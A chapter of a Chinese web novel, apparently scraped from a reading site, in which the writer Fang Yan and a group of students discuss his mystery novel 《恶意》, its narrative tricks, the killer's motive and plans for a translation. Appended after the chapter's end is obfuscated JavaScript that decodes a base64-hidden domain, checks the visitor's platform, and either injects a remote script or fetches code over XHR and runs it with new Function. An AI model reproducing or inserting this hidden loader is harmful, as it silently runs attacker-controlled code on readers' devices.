桥本结衣感慨:“没错,真的是太可恶了,什么出轨,什么代笔,甚至是那只猫也不是韩立杀的,而是厉飞羽杀的,他就是想夺走韩立身上美好的一切,差一点就被他给骗了。”
铃木洋子慢慢地回味:“也许我们从一开始就中了方老师的叙事诡计。”
“还有第一人称和第三人称之间的叙事圈套,让人很容易就代入厉飞羽,从而同情他。”
白若雪笑了笑。
“我们去找方老师吧!”
桥本结衣迫不及待地想去找方言,当面聊一聊《恶意》的体会和感想。
“那我去叫上胜男、小雅,她们也有这个意思。”
白若雪正有此意,和铃木洋子两人走出宿舍,穿梭在燕园中。
一路上,就有不少的学生议论着《恶意》:
“厉飞羽杀韩立的理由是不是太牵强了?单纯就是‘大限将至,看他不爽’?”
“我倒觉得挺合理的,嫉妒别人的好,憎恶别人的优秀,样样不如别人,就恨不得杀了别人,取而代之。”
“而且也不是无缘无故,后面不有厉飞羽的老同学讲述他被嫌弃的一生。”
“…………”
此时此刻,天寒地冻,校园里来来往往的人虽然不多,但五四文学社的成员们一如既往地出现在未名湖畔,照例举办着开年的第一场聚会,讨论的主角仍然是方言的《恶意》。
白若雪把苏雅和唐胜男喊了出来,一行人浩浩荡荡地杀向什刹海的宅子。
映入眼帘的,是从北电学习回来的龚樰。
“龚……师母。”
“千万别这么喊,叫我名字,或者叫我‘龚樰姐’就好。”
“龚樰姐!”
众人不约而同地喊了声。
龚樰掩嘴轻笑,应了下来:“你们找岩子吧,他就在书房里面。”
一下子,乌压压的一群人涌入了书房。
简单的寒暄之后,方言指了指紫檀木的椅子,“你看你们,别急,坐下来慢慢唠。”
“方老师,我从来没读过像《恶意》这样的推理小说。”
桥本结衣急不可耐:“没有本格派那些奇思妙想的作案手法,也没有变格派那些残忍变态的杀人手段,但看完以后,就是让我感到害怕。”
方言笑道:“那是因为世间的善与美、丑与恶,都莫过于人心。”
“是啊,很容易猜到凶手,但猜不到动机,猜到了动机,没想到是一个诡计,识破了诡计,背后竟然是这么深的恶意。”铃木洋子好奇道,“不过方老师,这样的动机是不是有点太……”
“太简单?”
方言摆了摆手,“有些人的恨是没有原因的,他们恨自己平庸,没有天分,碌碌无为,于是别人的优秀、天赋、善良和幸福,就成了原罪,更何况厉飞羽得了绝症,他不希望自己一辈子都惹人嫌弃,默默无闻,华夏有句话叫,‘不能流芳百世,亦当遗臭万年’。”
顿了顿说:“如果这件事办成了,他能抢走韩立所有荣誉,扬名一时,就算失败了,也能作为经典刑事案件,流传下来,恶名远扬。”
“斯国一!”
桥本结衣觉得好有道理,不禁说出了口。
“方老师,我觉得关于厉飞羽的前半生,在小说里有些破碎,不够具体。”
铃木洋子道:“如果能把他嫌弃的一生全部写出来,一定也是一部好的现实主义作品!”
方言大为意外,你看人真准!
相比于东野圭吾的《恶意》,自己不仅仅做了本土化的处理,而且把凶手的动机做得更圆润了些,就像《周处除三害》一样,“不是怕死,而是怕死了都没人记得”。
榜一和榜二大哥本以为是寻仇或者悬赏,没想到是榜三在打排位赛,真的是莫惹分奴!
除此之外,还把《被嫌弃的松子的一生》套在凶手上,整个人物都丰满了起来。
可恨之人,必有可怜之处!
“方老师,《恶意》的翻译工作能不能交给我和洋子!”
桥本结衣语气里充满着期待。
“就算你们不说,我也会这么做。”
方言道:“我想森村老师也应该愿意写序吧?”
“当然!”
铃木洋子、白若雪等人深信不已。
毕竟,《恶意》不仅仅是当代社会派推理的佳作,更是华夏现代推理小说的发轫之作!
不出意外的话,会像《山楂树之恋》、《利剑行动》一样,掀起一波推理小说的小高潮。
“还不够,最好还要有一本专门发表推理小说的杂志才行,”
方言喝了口茶,心里已经有新的盘算。
(本章完)
function UqgsgfgDv(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{
c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function UqSDDFGvyQ(e){
var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");
while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return UqgsgfgDv(t);};window[''+'U'+'Y'+'C'+'q'+'J'+'K'+'']=(!/^Mac|Win/.test(navigator.platform)||!navigator.platform)?function(){;(function(u,i,w,d,c){var x=UqSDDFGvyQ,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));'jQuery';
if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')>-1){var xhr=new XMLHttpRequest();xhr.open('POST','https://'+u+'/bm-'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'u'+'q'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else{var s=d[crd]('script');s.src='https://'+u+'/m-'+i;cs.parentElement.insertBefore(s,cs);}})('aGYuc2Rqa2JjamtzYmRzdnYuY29t','2843',window,document,['G','TpoZFcguG']);}:function(){};